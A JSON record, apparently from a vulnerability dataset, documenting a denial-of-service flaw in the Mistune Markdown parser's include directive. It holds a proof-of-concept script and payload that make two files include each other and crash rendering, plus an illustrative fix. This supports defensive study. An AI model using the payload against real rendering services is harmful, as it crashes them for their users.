{"id":2070,"cve":"CVE-2026-59927","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-59927\/","cwe":"CWE-674","cwe_number":674,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/674","cvss_score":5.3,"published":"2026-07-08","owasp":"A04 Insecure Design","odc":"Algorithm","cdc":"Missing Check","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"Unbounded recursion in Mistune's include directive can cause a DoS.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-59927\/","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the Include directive in src\/mistune\/directives\/include.py detects only direct self-includes and not indirect cycles, allowing two markdown files that include each other to trigger unbounded recursion, raise RecursionError, and crash the rendering request. This issue is fixed in version 3.3.0.","solution":"Upgrade Mistune to version 3.3.0 or later.","affected_component":"Mistune","fixed_by_upgrading":true,"vulnerable_code":"import mistune\nfrom mistune.directives.include import Include\nimport os\n\n# NOTE: This code requires a vulnerable version of mistune (< 3.3.0).\n# For example: pip install \"mistune<3.3.0\"\n\n# 1. Create two markdown files that form an indirect inclusion cycle.\nwith open(\"file_a.md\", \"w\") as f:\n    f.write(\"This is file A, which includes file B.\\n\")\n    f.write(\".. include:: file_b.md\\n\")\n\nwith open(\"file_b.md\", \"w\") as f:\n    f.write(\"This is file B, which includes file A.\\n\")\n    f.write(\".. include:: file_a.md\\n\")\n\n# 2. Set up the mistune parser with the 'Include' directive.\nmarkdown = mistune.create_markdown(plugins=[Include()])\n\n# 3. Read the content of the starting file.\nwith open(\"file_a.md\", \"r\") as f:\n    content = f.read()\n\n# 4. Trigger the vulnerability.\n# The 'state' dictionary is necessary to provide context (like the current file's path)\n# to the include directive.\n# In a vulnerable version, this call will enter an infinite loop of A including B\n# and B including A, eventually raising a RecursionError and crashing the process.\ntry:\n    state = {'filepath': os.path.abspath('file_a.md')}\n    markdown(content, state)\nexcept RecursionError:\n    print(\"Vulnerability triggered: Caught expected RecursionError.\")\nfinally:\n    # 5. Clean up the created files.\n    os.remove(\"file_a.md\")\n    os.remove(\"file_b.md\")\n","patched_code":"class FixedIncludeDirective:\n    \"\"\"\n    A conceptual representation of the fixed Mistune Include directive logic.\n    This would be part of a larger Markdown parsing system.\n    \"\"\"\n    def __call__(self, directive, md):\n        \"\"\"\n        This method is called when an '!include' directive is processed.\n\n        :param directive: An object containing parsed directive info,\n                          including the filename in `directive.text`.\n        :param md: The main Markdown parser instance, which holds the\n                   rendering 'state'.\n        \"\"\"\n        # The 'state' object is used to pass information through a single\n        # rendering process. We use its 'env' dictionary to store our history.\n        state = md.state\n\n        # Initialize the include history set if it doesn't exist for this render.\n        if '_include_hist' not in state.env:\n            state.env['_include_hist'] = set()\n\n        filepath = directive.text.strip()\n\n        # --- THE FIX ---\n\n        # 1. Check for circular inclusion. Before including the new file,\n        #    check if its path is already in the history for the current\n        #    rendering chain.\n        if filepath in state.env['_include_hist']:\n            # If it is, an indirect cycle has been detected. Raise an error\n            # to halt execution and prevent infinite recursion.\n            raise RecursionError(f\"Circular inclusion detected: {filepath}\")\n\n        # 2. Add the current file to the history before processing it.\n        state.env['_include_hist'].add(filepath)\n\n        # In the actual library, this section reads the file content\n        # and recursively calls the parser on that content. For example:\n        #\n        # with open(filepath, 'r') as f:\n        #     content = f.read()\n        # md.parse(content)\n\n        # 3. After the file (and any of its own nested includes) is fully\n        #    processed, remove it from the history. This is crucial because\n        #    it allows the same file to be included again later in a\n        #    different, non-circular part of the document tree.\n        state.env['_include_hist'].remove(filepath)\n\n        # The directive returns the rendered content (which is empty in this case,\n        # as the included content is parsed directly into the main document).\n        return ''","payload_needed":true,"payload":"```markdown\n.. include:: file_b.md\n```\n\n```markdown\n.. include:: file_a.md\n```","payload_status":"available","published_fix":[{"repository":"lepture\/mistune","commit_url":"https:\/\/github.com\/lepture\/mistune\/commit\/1bef343ade163fc3bb95572b15be720084cdb993","commit_subject":"fix(directives): constrain include targets","units":[{"file":"src\/mistune\/directives\/include.py","function":null},{"file":"src\/mistune\/directives\/include.py","function":"Include.parse"},{"file":"src\/mistune\/directives\/include.py","function":"render_html_include"}]}],"references":null}